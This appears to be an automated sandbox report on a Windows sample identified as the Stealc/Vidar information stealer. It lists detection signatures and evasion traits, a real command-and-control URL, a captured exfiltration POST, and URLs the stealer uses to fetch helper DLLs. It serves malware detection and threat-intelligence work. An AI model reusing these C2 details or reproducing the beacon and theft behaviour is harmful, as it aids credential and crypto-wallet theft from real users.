Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1521673
MD5:	a2ea4e55410169bcc8c43793963b1112
SHA1:	7bf04cf5d4aa3f12e5333371afe3a2495d0f64d2
SHA256:	3df1d51e8eec4ca63d919fb3ac4538443244f5a884d70c7b170b87e289ebb5b3
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6656 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A2EA4E55410169BCC8C43793963B1112)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2084175637.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2361400523.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2358523011.00000000001E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6656	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6656	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6656	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6656	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.1e0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFIEHCFIECBGCBFHIJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 35 38 31 42 30 39 36 46 31 32 32 30 34 30 34 30 39 34 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="hwid"C4581B096F122040409402------KFCFIEHCFIECBGCBFHIJContent-Disposition: form-data; name="build"save------KFCFIEHCFIECBGCBFHIJ--

Source: file.exe, 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2361400523.00000000011BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll2
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2361400523.0000000001204000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2361400523.0000000001204000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll$C
Source: file.exe, 00000000.00000002.2361400523.0000000001204000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll;C
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dlll
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllt
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2361400523.0000000001217000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpQ
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdowsApps
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpinomi
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpwser
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpy
Source: file.exe, 00000000.00000002.2358523011.00000000003AB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37e2b1563c6670f193.phption:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2387635460.000000006F8DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2386696196.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJ.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: CBAKJKJJ.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: CBAKJKJJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CBAKJKJJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: CBAKJKJJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BGDBKKFHIEGDHJKECAAK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2380259591.0000000029A51000.00000004.00000020.00020000.00000000.sdmp, BGDBKKFHIEGDHJKECAAK.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2361400523.0000000001232000.00000004.00000020.00020000.00000000.sdmp, CBAKJKJJ.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: CBAKJKJJ.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2292404270.000000002FC20000.00000004.00000020.00020000.00000000.sdmp, HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2292404270.000000002FC20000.00000004.00000020.00020000.00000000.sdmp, HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2358523011.000000000023A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2292404270.000000002FC20000.00000004.00000020.00020000.00000000.sdmp, HCAAEBKEGHJKEBFHJDBFCFBKKJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AC1F2	0_2_005AC1F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BB198	0_2_005BB198
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004B7245	0_2_004B7245
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00629251	0_2_00629251
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004C2A2A	0_2_004C2A2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005AD313	0_2_005AD313
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B1308	0_2_005B1308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B23AB	0_2_005B23AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B7421	0_2_005B7421
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00583D7A	0_2_00583D7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00563D7B	0_2_00563D7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005BC679	0_2_005BC679
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00473EB7	0_2_00473EB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B5F6C	0_2_005B5F6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B3F13	0_2_005B3F13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0048D7DD	0_2_0048D7DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B8F94	0_2_005B8F94

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 001E45C0 appears 316 times

Source: file.exe, 00000000.00000002.2387794743.000000006F8F2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2387316087.000000006C8A5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: igvkgldi ZLIB complexity 0.9949037507631258

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_001F9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_001F3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\FCVX9L6R.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387056038.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387056038.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2374894019.000000001D97A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2387056038.000000006C85F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2386621980.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
